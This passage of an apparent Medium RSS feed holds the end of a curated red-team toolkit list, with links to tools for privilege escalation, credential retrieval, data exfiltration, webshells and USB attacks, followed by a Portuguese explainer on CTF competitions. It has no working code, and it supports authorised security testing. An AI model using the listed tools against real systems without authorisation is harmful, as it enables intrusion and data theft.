href="https://github.com/JavelinNetworks/HoneypotBuster">https://github.com/JavelinNetworks/HoneypotBuster</a></li><li><strong>PAExec</strong> lets you launch Windows programs on remote Windows computers without needing to install software on the remote computer first. <a href="https://www.poweradmin.com/paexec/">https://www.poweradmin.com/paexec/</a></li></ul><h3>Establish Foothold</h3><ul><li><strong>Tunna</strong> is a set of tools which will wrap and tunnel any TCP communication over HTTP. It can be used to bypass network restrictions in fully firewalled environments. <a href="https://github.com/SECFORCE/Tunna">https://github.com/SECFORCE/Tunna</a></li><li><strong>reGeorg</strong> the successor to reDuh, pwn a bastion webserver and create SOCKS proxies through the DMZ. Pivot and pwn. <a href="https://github.com/sensepost/reGeorg">https://github.com/sensepost/reGeorg</a></li><li><strong>Blade</strong> is a webshell connection tool based on console, currently under development and aims to be a choice of replacement of Chooper. <a href="https://github.com/wonderqs/Blade">https://github.com/wonderqs/Blade</a></li><li><strong>TinyShell</strong> Web Shell Framework. <a href="https://github.com/threatexpress/tinyshell">https://github.com/threatexpress/tinyshell</a></li><li><strong>PowerLurk</strong> is a PowerShell toolset for building malicious WMI Event Subsriptions. <a href="https://github.com/Sw4mpf0x/PowerLurk">https://github.com/Sw4mpf0x/PowerLurk</a></li><li><strong>DAMP</strong> The Discretionary ACL Modification Project: Persistence Through Host-based Security Descriptor Modification. <a href="https://github.com/HarmJ0y/DAMP">https://github.com/HarmJ0y/DAMP</a></li></ul><h3>Escalate Privileges</h3><blockquote><strong>Domain Escalation</strong></blockquote><ul><li><strong>PowerView</strong> is a PowerShell tool to gain network situational awareness on Windows domains. <a href="https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1">https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1</a></li><li><strong>Get-GPPPassword</strong> Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences. <a href="https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-GPPPassword.ps1">https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-GPPPassword.ps1</a></li><li><strong>Invoke-ACLpwn</strong> is a tool that automates the discovery and pwnage of ACLs in Active Directory that are unsafe configured. <a href="https://github.com/fox-it/Invoke-ACLPwn">https://github.com/fox-it/Invoke-ACLPwn</a></li><li><strong>BloodHound</strong> uses graph theory to reveal the hidden and often unintended relationships within an Active Directory environment. <a href="https://github.com/BloodHoundAD/BloodHound">https://github.com/BloodHoundAD/BloodHound</a></li><li><strong>PyKEK</strong> (Python Kerberos Exploitation Kit), a python library to manipulate KRB5-related data. <a href="https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek">https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek</a></li><li><strong>Grouper</strong> a PowerShell script for helping to find vulnerable settings in AD Group Policy. <a href="https://github.com/l0ss/Grouper">https://github.com/l0ss/Grouper</a></li><li><strong>ADRecon</strong> is a tool which extracts various artifacts (as highlighted below) out of an AD environment in a specially formatted Microsoft Excel report that includes summary views with metrics to facilitate analysis. <a href="https://github.com/sense-of-security/ADRecon">https://github.com/sense-of-security/ADRecon</a></li><li><strong>ADACLScanner</strong> one script for ACL’s in Active Directory. <a href="https://github.com/canix1/ADACLScanner">https://github.com/canix1/ADACLScanner</a></li><li><strong>ACLight</strong> a useful script for advanced discovery of Domain Privileged Accounts that could be targeted — including Shadow Admins. <a href="https://github.com/cyberark/ACLight">https://github.com/cyberark/ACLight</a></li><li><strong>LAPSToolkit</strong> a tool to audit and attack LAPS environments. <a href="https://github.com/leoloobeek/LAPSToolkit">https://github.com/leoloobeek/LAPSToolkit</a></li><li><strong>PingCastle</strong> is a free, Windows-based utility to audit the risk level of your AD infrastructure and check for vulnerable practices. <a href="https://www.pingcastle.com/download">https://www.pingcastle.com/download</a></li><li><strong>RiskySPNs</strong> is a collection of PowerShell scripts focused on detecting and abusing accounts associated with SPNs (Service Principal Name). <a href="https://github.com/cyberark/RiskySPN">https://github.com/cyberark/RiskySPN</a></li><li><strong>Mystique</strong> is a PowerShell tool to play with Kerberos S4U extensions, this module can assist blue teams to identify risky Kerberos delegation configurations as well as red teams to impersonate arbitrary users by leveraging KCD with Protocol Transition. <a href="https://github.com/machosec/Mystique">https://github.com/machosec/Mystique</a></li><li><strong>Rubeus</strong> is a C# toolset for raw Kerberos interaction and abuses. It is heavily adapted from Benjamin Delpy’s Kekeo project. <a href="https://github.com/GhostPack/Rubeus">https://github.com/GhostPack/Rubeus</a></li><li><strong>kekeo</strong> is a little toolbox I have started to manipulate Microsoft Kerberos in C (and for fun). <a href="https://github.com/gentilkiwi/kekeo">https://github.com/gentilkiwi/kekeo</a></li></ul><blockquote><strong>Local Escalation</strong></blockquote><ul><li><strong>UACMe</strong> is an open source assessment tool that contains many methods for bypassing Windows User Account Control on multiple versions of the operating system. <a href="https://github.com/hfiref0x/UACME">https://github.com/hfiref0x/UACME</a></li><li><strong>windows-kernel-exploits</strong> a collection windows kernel exploit. <a href="https://github.com/SecWiki/windows-kernel-exploits">https://github.com/SecWiki/windows-kernel-exploits</a></li><li><strong>PowerUp</strong> aims to be a clearinghouse of common Windows privilege escalation vectors that rely on misconfigurations. <a href="https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1">https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1</a></li><li><strong>The Elevate Kit</strong> demonstrates how to use third-party privilege escalation attacks with Cobalt Strike’s Beacon payload. <a href="https://github.com/rsmudge/ElevateKit">https://github.com/rsmudge/ElevateKit</a></li><li><strong>Sherlock</strong> a powerShell script to quickly find missing software patches for local privilege escalation vulnerabilities. <a href="https://github.com/rasta-mouse/Sherlock">https://github.com/rasta-mouse/Sherlock</a></li><li><strong>Tokenvator</strong> a tool to elevate privilege with Windows Tokens. <a href="https://github.com/0xbadjuju/Tokenvator">https://github.com/0xbadjuju/Tokenvator</a></li></ul><h3>Data Exfiltration</h3><ul><li><strong>CloakifyFactory</strong> &amp; the Cloakify Toolset — Data Exfiltration &amp; Infiltration In Plain Sight; Evade DLP/MLS Devices; Social Engineering of Analysts; Defeat Data Whitelisting Controls; Evade AV Detection. <a href="https://github.com/TryCatchHCF/Cloakify">https://github.com/TryCatchHCF/Cloakify</a></li><li><strong>DET</strong> (is provided AS IS), is a proof of concept to perform Data Exfiltration using either single or multiple channel(s) at the same time. <a href="https://github.com/sensepost/DET">https://github.com/sensepost/DET</a></li><li><strong>DNSExfiltrator</strong> allows for transfering (exfiltrate) a file over a DNS request covert channel. This is basically a data leak testing tool allowing to exfiltrate data over a covert channel. <a href="https://github.com/Arno0x/DNSExfiltrator">https://github.com/Arno0x/DNSExfiltrator</a></li><li><strong>PyExfil</strong> a Python Package for Data Exfiltration. <a href="https://github.com/ytisf/PyExfil">https://github.com/ytisf/PyExfil</a></li><li><strong>Egress-Assess</strong> is a tool used to test egress data detection capabilities. <a href="https://github.com/ChrisTruncer/Egress-Assess">https://github.com/ChrisTruncer/Egress-Assess</a></li><li><strong>Powershell RAT</strong> python based backdoor that uses Gmail to exfiltrate data as an e-mail attachment. <a href="https://github.com/Viralmaniar/Powershell-RAT">https://github.com/Viralmaniar/Powershell-RAT</a></li></ul><h3>Misc</h3><blockquote><strong>Adversary Emulation</strong></blockquote><ul><li><strong>MITRE CALDERA</strong> — An automated adversary emulation system that performs post-compromise adversarial behavior within Windows Enterprise networks. <a href="https://github.com/mitre/caldera">https://github.com/mitre/caldera</a></li><li><strong>APTSimulator</strong> — A Windows Batch script that uses a set of tools and output files to make a system look as if it was compromised. <a href="https://github.com/NextronSystems/APTSimulator">https://github.com/NextronSystems/APTSimulator</a></li><li><strong>Atomic Red Team</strong> — Small and highly portable detection tests mapped to the Mitre ATT&amp;CK Framework. <a href="https://github.com/redcanaryco/atomic-red-team">https://github.com/redcanaryco/atomic-red-team</a></li><li><strong>Network Flight Simulator</strong> — flightsim is a lightweight utility used to generate malicious network traffic and help security teams to evaluate security controls and network visibility. <a href="https://github.com/alphasoc/flightsim">https://github.com/alphasoc/flightsim</a></li><li><strong>Metta</strong> — A security preparedness tool to do adversarial simulation. <a href="https://github.com/uber-common/metta">https://github.com/uber-common/metta</a></li><li><strong>Red Team Automation (RTA)</strong> — RTA provides a framework of scripts designed to allow blue teams to test their detection capabilities against malicious tradecraft, modeled after MITRE ATT&amp;CK. <a href="https://github.com/endgameinc/RTA">https://github.com/endgameinc/RTA</a></li></ul><blockquote><strong>Wireless Networks</strong></blockquote><ul><li><strong>Wifiphisher</strong> is a security tool that performs Wi-Fi automatic association attacks to force wireless clients to unknowingly connect to an attacker-controlled Access Point. <a href="https://github.com/wifiphisher/wifiphisher">https://github.com/wifiphisher/wifiphisher</a></li><li><strong>mana</strong> toolkit for wifi rogue AP attacks and MitM. <a href="https://github.com/sensepost/mana">https://github.com/sensepost/mana</a></li></ul><blockquote><strong>Embedded &amp; Peripheral Devices Hacking</strong></blockquote><ul><li><strong>magspoof</strong> a portable device that can spoof/emulate any magnetic stripe, credit card or hotel card “wirelessly”, even on standard magstripe (non-NFC/RFID) readers. <a href="https://github.com/samyk/magspoof">https://github.com/samyk/magspoof</a></li><li><strong>WarBerryPi</strong> was built to be used as a hardware implant during red teaming scenarios where we want to obtain as much information as possible in a short period of time with being as stealth as possible. <a href="https://github.com/secgroundzero/warberry">https://github.com/secgroundzero/warberry</a></li><li><strong>P4wnP1</strong> is a highly customizable USB attack platform, based on a low cost Raspberry Pi Zero or Raspberry Pi Zero W (required for HID backdoor). <a href="https://github.com/mame82/P4wnP1">https://github.com/mame82/P4wnP1</a></li><li><strong>malusb</strong> HID spoofing multi-OS payload for Teensy. <a href="https://github.com/ebursztein/malusb">https://github.com/ebursztein/malusb</a></li><li><strong>Fenrir</strong> is a tool designed to be used “out-of-the-box” for penetration tests and offensive engagements. Its main feature and purpose is to bypass wired 802.1x protection and to give you an access to the target network. <a href="https://github.com/Orange-Cyberdefense/fenrir-ocd">https://github.com/Orange-Cyberdefense/fenrir-ocd</a></li><li><strong>poisontap</strong> exploits locked/password protected computers over USB, drops persistent WebSocket-based backdoor, exposes internal router, and siphons cookies using Raspberry Pi Zero &amp; Node.js. <a href="https://github.com/samyk/poisontap">https://github.com/samyk/poisontap</a></li><li><strong>WHID</strong> WiFi HID Injector — An USB Rubberducky / BadUSB On Steroids. <a href="https://github.com/whid-injector/WHID">https://github.com/whid-injector/WHID</a></li><li><strong>PhanTap</strong> is an ‘invisible’ network tap aimed at red teams. With limited physical access to a target building, this tap can be installed inline between a network device and the corporate network. <a href="https://github.com/nccgroup/phantap">https://github.com/nccgroup/phantap</a></li></ul><blockquote><strong>Software For Team Communication</strong></blockquote><ul><li><strong>RocketChat</strong> is free, unlimited and open source. Replace email &amp; Slack with the ultimate team chat software solution. <a href="https://rocket.chat/">https://rocket.chat</a></li><li><strong>Etherpad</strong> is an open source, web-based collaborative real-time editor, allowing authors to simultaneously edit a text document <a href="https://etherpad.org/">https://etherpad.org</a></li></ul><blockquote><strong>Log Aggregation</strong></blockquote><ul><li><strong>RedELK</strong> Red Team’s SIEM — easy deployable tool for Red Teams used for tracking and alarming about Blue Team activities as well as better usability in long term operations. <a href="https://github.com/outflanknl/RedELK/">https://github.com/outflanknl/RedELK/</a></li><li><strong>CobaltSplunk</strong> Splunk Dashboard for CobaltStrike logs. <a href="https://github.com/vysec/CobaltSplunk">https://github.com/vysec/CobaltSplunk</a></li><li><strong>Red Team Telemetry</strong> A collection of scripts and configurations to enable centralized logging of red team infrastructure. <a href="https://github.com/ztgrace/red_team_telemetry">https://github.com/ztgrace/red_team_telemetry</a></li><li><strong>Elastic for Red Teaming</strong> Repository of resources for configuring a Red Team SIEM using Elastic. <a href="https://github.com/SecurityRiskAdvisors/RedTeamSIEM">https://github.com/SecurityRiskAdvisors/RedTeamSIEM</a></li><li><strong>Ghostwriter</strong> is a Django project written in Python 3.7 and is designed to be used by a team of operators. <a href="https://github.com/GhostManager/Ghostwriter">https://github.com/GhostManager/Ghostwriter</a></li></ul><blockquote><strong>C# Offensive Framework</strong></blockquote><ul><li><strong>SharpSploit</strong> is a .NET post-exploitation library written in C# that aims to highlight the attack surface of .NET and make the use of offensive .NET easier for red teamers. <a href="https://github.com/cobbr/SharpSploit">https://github.com/cobbr/SharpSploit</a></li><li><strong>GhostPack</strong> is (currently) a collection various C# implementations of previous PowerShell functionality, and includes six separate toolsets being released today- Seatbelt, SharpUp, SharpRoast, SharpDump, SafetyKatz, and SharpWMI. <a href="https://github.com/GhostPack">https://github.com/GhostPack</a></li><li><strong>SharpWeb</strong> .NET 2.0 CLR project to retrieve saved browser credentials from Google Chrome, Mozilla Firefox and Microsoft Internet Explorer/Edge. <a href="https://github.com/djhohnstein/SharpWeb">https://github.com/djhohnstein/SharpWeb</a></li><li><strong>reconerator</strong> C# Targeted Attack Reconnissance Tools. <a href="https://github.com/stufus/reconerator">https://github.com/stufus/reconerator</a></li><li><strong>SharpView</strong> C# implementation of harmj0y’s PowerView. <a href="https://github.com/tevora-threat/SharpView">https://github.com/tevora-threat/SharpView</a></li><li><strong>Watson</strong> is a (.NET 2.0 compliant) C# implementation of Sherlock. <a href="https://github.com/rasta-mouse/Watson">https://github.com/rasta-mouse/Watson</a></li></ul><blockquote><strong>Labs</strong></blockquote><ul><li><strong>Detection Lab</strong> This lab has been designed with defenders in mind. Its primary purpose is to allow the user to quickly build a Windows domain that comes pre-loaded with security tooling and some best practices when it comes to system logging configurations. <a href="https://github.com/clong/DetectionLab">https://github.com/clong/DetectionLab</a></li><li><strong>Modern Windows Attacks and Defense Lab</strong> This is the lab configuration for the Modern Windows Attacks and Defense class that Sean Metcalf (@pyrotek3) and I teach. <a href="https://github.com/jaredhaight/WindowsAttackAndDefenseLab">https://github.com/jaredhaight/WindowsAttackAndDefenseLab</a></li><li><strong>Invoke-UserSimulator</strong> Simulates common user behaviour on local and remote Windows hosts. <a href="https://github.com/ubeeri/Invoke-UserSimulator">https://github.com/ubeeri/Invoke-UserSimulator</a></li><li><strong>Invoke-ADLabDeployer</strong> Automated deployment of Windows and Active Directory test lab networks. Useful for red and blue teams. <a href="https://github.com/outflanknl/Invoke-ADLabDeployer">https://github.com/outflanknl/Invoke-ADLabDeployer</a></li><li><strong>Sheepl</strong> Creating realistic user behaviour for supporting tradecraft development within lab environments. <a href="https://github.com/SpiderLabs/sheepl">https://github.com/SpiderLabs/sheepl</a></li></ul><h3>Scripts</h3><ul><li><strong>Aggressor Scripts</strong> is a scripting language for red team operations and adversary simulations inspired by scriptable IRC clients and bots.</li><li><a href="https://github.com/invokethreatguy/CSASC">https://github.com/invokethreatguy/CSASC</a></li><li><a href="https://github.com/secgroundzero/CS-Aggressor-Scripts">https://github.com/secgroundzero/CS-Aggressor-Scripts</a></li><li><a href="https://github.com/Und3rf10w/Aggressor-scripts">https://github.com/Und3rf10w/Aggressor-scripts</a></li><li><a href="https://github.com/harleyQu1nn/AggressorScripts">https://github.com/harleyQu1nn/AggressorScripts</a></li><li><a href="https://github.com/rasta-mouse/Aggressor-Script">https://github.com/rasta-mouse/Aggressor-Script</a></li><li><a href="https://github.com/RhinoSecurityLabs/Aggressor-Scripts">https://github.com/RhinoSecurityLabs/Aggressor-Scripts</a></li><li><a href="https://github.com/bluscreenofjeff/AggressorScripts">https://github.com/bluscreenofjeff/AggressorScripts</a></li><li><a href="https://github.com/001SPARTaN/aggressor_scripts">https://github.com/001SPARTaN/aggressor_scripts</a></li><li><a href="https://github.com/360-A-Team/CobaltStrike-Toolset">https://github.com/360-A-Team/CobaltStrike-Toolset</a></li><li><a href="https://github.com/FortyNorthSecurity/AggressorAssessor">https://github.com/FortyNorthSecurity/AggressorAssessor</a></li><li><a href="https://github.com/ramen0x3f/AggressorScripts">https://github.com/ramen0x3f/AggressorScripts</a></li><li>A collection scripts useful for red teaming and pentesting</li><li><a href="https://github.com/FuzzySecurity/PowerShell-Suite">https://github.com/FuzzySecurity/PowerShell-Suite</a></li><li><a href="https://github.com/nettitude/Powershell">https://github.com/nettitude/Powershell</a></li><li><a href="https://github.com/Mr-Un1k0d3r/RedTeamPowershellScripts">https://github.com/Mr-Un1k0d3r/RedTeamPowershellScripts</a></li><li><a href="https://github.com/threatexpress/red-team-scripts">https://github.com/threatexpress/red-team-scripts</a></li><li><a href="https://github.com/SadProcessor/SomeStuff">https://github.com/SadProcessor/SomeStuff</a></li><li><a href="https://github.com/rvrsh3ll/Misc-Powershell-Scripts">https://github.com/rvrsh3ll/Misc-Powershell-Scripts</a></li><li><a href="https://github.com/enigma0x3/Misc-PowerShell-Stuff">https://github.com/enigma0x3/Misc-PowerShell-Stuff</a></li><li><a href="https://github.com/ChrisTruncer/PenTestScripts">https://github.com/ChrisTruncer/PenTestScripts</a></li><li><a href="https://github.com/bluscreenofjeff/Scripts">https://github.com/bluscreenofjeff/Scripts</a></li><li><a href="https://github.com/xorrior/RandomPS-Scripts">https://github.com/xorrior/RandomPS-Scripts</a></li><li><a href="https://github.com/xorrior/Random-CSharpTools">https://github.com/xorrior/Random-CSharpTools</a></li><li><a href="https://github.com/leechristensen/Random">https://github.com/leechristensen/Random</a></li><li><a href="https://github.com/mgeeky/Penetration-Testing-Tools/tree/master/social-engineering">https://github.com/mgeeky/Penetration-Testing-Tools/tree/master/social-engineering</a></li></ul><h3>References</h3><ul><li><strong>MITRE’s ATT&amp;CK™</strong> is a curated knowledge base and model for cyber adversary behavior, reflecting the various phases of an adversary’s lifecycle and the platforms they are known to target. <a href="https://attack.mitre.org/wiki/Main_Page">https://attack.mitre.org/wiki/Main_Page</a></li><li><strong>Cheat Sheets</strong> for various projects (Beacon/Cobalt Strike,PowerView, PowerUp, Empire, and PowerSploit). <a href="https://github.com/HarmJ0y/CheatSheets">https://github.com/HarmJ0y/CheatSheets</a></li><li><strong>PRE-ATT&amp;CK</strong> Adversarial Tactics, Techniques &amp; Common Knowledge for Left-of-Exploit. <a href="https://attack.mitre.org/pre-attack/index.php/Main_Page">https://attack.mitre.org/pre-attack/index.php/Main_Page</a></li><li><strong>Adversary OPSEC</strong> consists of the use of various technologies or 3rd party services to obfuscate, hide, or blend in with accepted network traffic or system behavior. <a href="https://attack.mitre.org/pre-attack/index.php/Adversary_OPSEC">https://attack.mitre.org/pre-attack/index.php/Adversary_OPSEC</a></li><li><strong>Adversary Emulation Plans</strong> To showcase the practical use of ATT&amp;CK for offensive operators and defenders, MITRE created Adversary Emulation Plans. <a href="https://attack.mitre.org/wiki/Adversary_Emulation_Plans">https://attack.mitre.org/wiki/Adversary_Emulation_Plans</a></li><li><strong>Red-Team-Infrastructure-Wiki</strong> Wiki to collect Red Team infrastructure hardening resources. <a href="https://github.com/bluscreenofjeff/Red-Team-Infrastructure-Wiki">https://github.com/bluscreenofjeff/Red-Team-Infrastructure-Wiki</a></li><li><strong>Advanced Threat Tactics — Course and Notes</strong> This is a course on red team operations and adversary simulations. <a href="https://blog.cobaltstrike.com/2015/09/30/advanced-threat-tactics-course-and-notes">https://blog.cobaltstrike.com/2015/09/30/advanced-threat-tactics-course-and-notes</a></li><li><strong>Red Team Tips</strong> as posted by @vysecurity on Twitter. <a href="https://vincentyiu.co.uk/red-team-tips">https://vincentyiu.co.uk/red-team-tips</a></li><li><strong>Awesome Red Teaming</strong> List of Awesome Red Team / Red Teaming Resources. <a href="https://github.com/yeyintminthuhtut/Awesome-Red-Teaming">https://github.com/yeyintminthuhtut/Awesome-Red-Teaming</a></li><li><strong>APT &amp; CyberCriminal Campaign Collection</strong> This is a collection of APT and CyberCriminal campaigns. Please fire issue to me if any lost APT/Malware events/campaigns. <a href="https://github.com/CyberMonitor/APT_CyberCriminal_Campagin_Collections">https://github.com/CyberMonitor/APT_CyberCriminal_Campagin_Collections</a></li><li><strong>ATT&amp;CK for Enterprise Software</strong> is a generic term for custom or commercial code, operating system utilities, open-source software, or other tools used to conduct behavior modeled in ATT&amp;CK. <a href="https://attack.mitre.org/wiki/Software">https://attack.mitre.org/wiki/Software</a></li><li><strong>Planning a Red Team exercise</strong> This document helps inform red team planning by contrasting against the very specific red team style described in Red Teams. <a href="https://github.com/magoo/redteam-plan">https://github.com/magoo/redteam-plan</a></li><li><strong>Awesome Lockpicking</strong> a curated list of awesome guides, tools, and other resources related to the security and compromise of locks, safes, and keys. <a href="https://github.com/meitar/awesome-lockpicking">https://github.com/meitar/awesome-lockpicking</a></li><li><strong>Awesome Threat Intelligence</strong> a curated list of awesome Threat Intelligence resources. <a href="https://github.com/hslatman/awesome-threat-intelligence">https://github.com/hslatman/awesome-threat-intelligence</a></li><li><strong>APT Notes</strong> Need some scenario? APTnotes is a repository of publicly-available papers and blogs (sorted by year) related to malicious campaigns/activity/software that have been associated with vendor-defined APT (Advanced Persistent Threat) groups and/or tool-sets. <a href="https://github.com/aptnotes/data">https://github.com/aptnotes/data</a></li><li><strong>TIBER-EU FRAMEWORK</strong> The European Framework for Threat Intelligence-based Ethical Red Teaming (TIBER-EU), which is the first Europe-wide framework for controlled and bespoke tests against cyber attacks in the financial market. <a href="http://www.ecb.europa.eu/pub/pdf/other/ecb.tiber_eu_framework.en.pdf">http://www.ecb.europa.eu/pub/pdf/other/ecb.tiber_eu_framework.en.pdf</a></li><li><strong>CBEST Implementation Guide</strong> CBEST is a framework to deliver controlled, bespoke, intelligence-led cyber security tests. The tests replicate behaviours of threat actors, assessed by the UK Government and commercial intelligence providers as posing a genuine threat to systemically important financial institutions. <a href="https://www.crest-approved.org/wp-content/uploads/2014/07/CBEST-Implementation-Guide.pdf">https://www.crest-approved.org/wp-content/uploads/2014/07/CBEST-Implementation-Guide.pdf</a></li><li><strong>Red Team: Adversarial Attack Simulation Exercise Guidelines for the Financial Industry in Singapore</strong> The Association of Banks in Singapore (ABS), with support from the Monetary Authority of Singapore (MAS), has developed a set of cybersecurity assessment guidelines today to strengthen the cyber resilience of the financial sector in Singapore. Known as the Adversarial Attack Simulation Exercises (AASE) Guidelines or “Red Teaming” Guidelines, the Guidelines provide financial institutions (FIs) with best practices and guidance on planning and conducting Red Teaming exercises to enhance their security testing. <a href="https://abs.org.sg/docs/library/abs-red-team-adversarial-attack-simulation-exercises-guidelines-v1-06766a69f299c69658b7dff00006ed795.pdf">https://abs.org.sg/docs/library/abs-red-team-adversarial-attack-simulation-exercises-guidelines-v1-06766a69f299c69658b7dff00006ed795.pdf</a></li></ul><blockquote><strong>Credits:</strong><a href="https://github.com/infosecn1nja/Red-Teaming-Toolkit"><strong>https://github.com/infosecn1nja/Red-Teaming-Toolkit</strong></a></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=da89b20cb5ea" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[:: Competição Hacker ::]]></title>
            <link>https://renatoborbolla.medium.com/competi%C3%A7%C3%A3o-hacker-3205dc99033d?source=rss-b893fb110670------2</link>
            <guid isPermaLink="false">https://medium.com/p/3205dc99033d</guid>
            <category><![CDATA[learning]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[pentest]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Renato Basante Borbolla]]></dc:creator>
            <pubDate>Fri, 28 Jun 2019 20:11:04 GMT</pubDate>
            <atom:updated>2019-06-28T20:56:01.049Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/568/1*JgWPStMKhZuQ6K4MU7REBw.jpeg" /></figure><h4>● O que é?</h4><p>No âmbito da informática, o Capture the flags, popularmente conhecidas como CTF, são competições que envolvem diversas competências dos profissionais/estudantes/entusiastas para a resolução de desafios relacionados à infosec (segurança da informação), com o objetivo de capturar a bandeira (normalmente um código) e pontuar. É uma modalidade de competição que desafia a desvendar problemas que valem pontos de acordo com a complexidade que têm. Ganha quem, no final da competição, obtiver a maior pontuação.</p><p>Os desafios (de diversos níveis de dificuldade, que aumentam gradativamente desde o super noob até o insano) são sempre voltados com o objetivo de encontrar as flags escondidas.<br>Competição individual ou em equipe que envolve diversas competências de Computação. Normalmente acontecem nos fins de semana e tem duração entre 24h-48h.<br>Existem dois tipos de CTFs, os Jeopardy-style (estilo Quiz), que normalmente são online e servem como Qualificatórias para as Finais de Attack/Defense, que são realizadas on-site (offline). Ainda há a possibilidade do evento ser “híbrido”, e misturar os dois tipos, como é o caso do CTF brasileiro Pwn2Win.</p><p>-&gt; Attack/Defense: de forma genérica, as equipes recebem uma VM com diversos serviços (alguns vulneráveis), e o objetivo é capturar as bandeiras alheias e proteger as do seu time com patchs.</p><p>-&gt; Jeopardy-style: são apresentadas questões de diversas categorias, níveis de dificuldade e pontuações. As categorias variam de competição pra competição, mas as principais são:<br> <br> =Reversing (Eng. Reversa).<br> =Crypto (Criptografia).<br> =Forensics (Forense).<br> =Miscellaneous (Diversos)<br> =Trivias (Triviais).<br> =Web Hacking. (Aplicações Web)<br> =Networking (Redes).<br> =Pwnables/Exploitation (Exploração de binários).<br> =PPC (Professional Proramming and Coding).</p><h4>● Quem inventou?</h4><p>O termo Capture the Flag é emprestado de um jogo infantil de mesmo nome no qual dois times dispostos em campos opostos têm de invadir o ambiente adversário para capturar sua bandeira. No Brasil, é chamado de Rouba Bandeira, Pega Bandeira, Pique Bandeira e Caça Bandeira.<br>Na área dos games (tecnológicos), segundo Souza, embora não haja oficialmente um inventor, há o registro de que o primeiro CTF foi criado para computadores da Apple. “Pautado no jogo infantil, foi desenvolvido pela empresa Scholastic e se chamava BannerCatch.”que é de 1984.</p><h4>● Quais são os efeitos colaterais?</h4><p>Possibilidade de mau uso das práticas de hackeamento adquiridas nas competições.<br>Pode haver pessoas mal intencionadas que pretendem utilizar os conhecimentos adquiridos no CFT para explorar vulnerabilidades e obter vantagens. “Essas pessoas são conhecidas como ‘black hat’, em oposição àquelas que buscam o conhecimento para aplicar a favor da segurança da informação, as ‘white hat’.”</p><h4>● Quais os objetivos?</h4><p>Resolver problemas (geralmente relacionados com segurança) e obter a flag.</p><h4>● Quem participa?</h4><p>Estudantes, professores, programadores, hackers, profissionais de segurança da informação, entusiastas etc.</p><h4>● Flags? Como são? Onde estão escondidas?</h4><p>Flasgs são informações secreta que comprova a resolução de um problema dependendo da competição.<br>Ultimamente existe uma tentativa de padronizar um formato. Ex:</p><p>● dc673372d0397c1d60ada7f95558fea1 (MD5)<br> ● ZmxhZ1tXMU5fSDRDS11dCg== (Base64)<br> ● SYNT{F3PE3G_SY4T_J1A} (ROT13)<br> ● This_is_an_example_of_flag<br> ● flag{S3cReT}<br> ● fl4g{H4cK1nG}<br> ● key{Y0u_own3d}<br> ● CTFBR{S0m3_S3cr3t_T3XT}<br> ● This_is_an_example_of_flag<br> ● hack{P0wn3D}<br> ● Secret{::1010::}<br> ● key{Y0u_own3d}</p><p>Onde ficam armazenados?</p><p>● Em servidores (WEB, FTP, DNS etc...)<br> ● Em arquivos criptografados<br> ● Em arquivos binários<br> ● Em arquivos de captura de pacote (PCAPs)<br> ● Em imagens<br> ● Em audios<br> ● Em qualquer lugar</p><p>No site &quot;CTF Time&quot;, você consegue acompanhar a grande maioria dos CTF’s acontecendo ao redor do mundo, alguns deles são de Jeyopard (tipo múltiplos problemas e diferentes níveis de dificuldade) e os Atack/defense (Que pelo próprio nome já da pra entender como funciona) como eu havia citado anteriormente.<br>Eu deixei abaixo alguns nomes de competições e repositorios para entender um pouco melhor o que é CTF</p><p>— Repos<br> - [ctfs]<br> - [pwntools]<br> - [ctftools]<br> - [metasploit]<br> - [CTFTime]</p><p>— CTF<br>Nacionais:<br> Capture The Flag — Hacker Security<br> Hackaflag<br> Hackversity da H2HC<br> Sucuri Hacker Club<br> Shellter Labs<br> 100Security Wargame</p><p>Internacionais:<br> DEF CON CTF<br> Google CTF<br> Hack The Box<br> CTF365<br> Trend Micro CTF<br> Rootcon<br> OWASP CTF<br> Hitcon<br> picoCTF</p><p>— Distros<br> Kali Linux<br> Parrot OS<br> BackBox OS<br> BlackArch<br> Bugtraq<br> Cyborg OS<br> LionSec OS</p><h4>Fontes: Internet</h4><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3205dc99033d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Tools for OSINT]]></title>
            <link>https://renatoborbolla.medium.com/tools-for-osint-cf5a86cede67?source=rss-b893fb110670------2</link>
            <guid isPermaLink="false">https://medium.com/p/cf5a86cede67</guid>
            <dc:creator><![CDATA[Renato Basante Borbolla]]></dc:creator>
            <pubDate>Thu, 06 Jun 2019 11:05:27 GMT</pubDate>
            <atom:updated>2019-06-28T20:42:47.658Z</atom:updated>
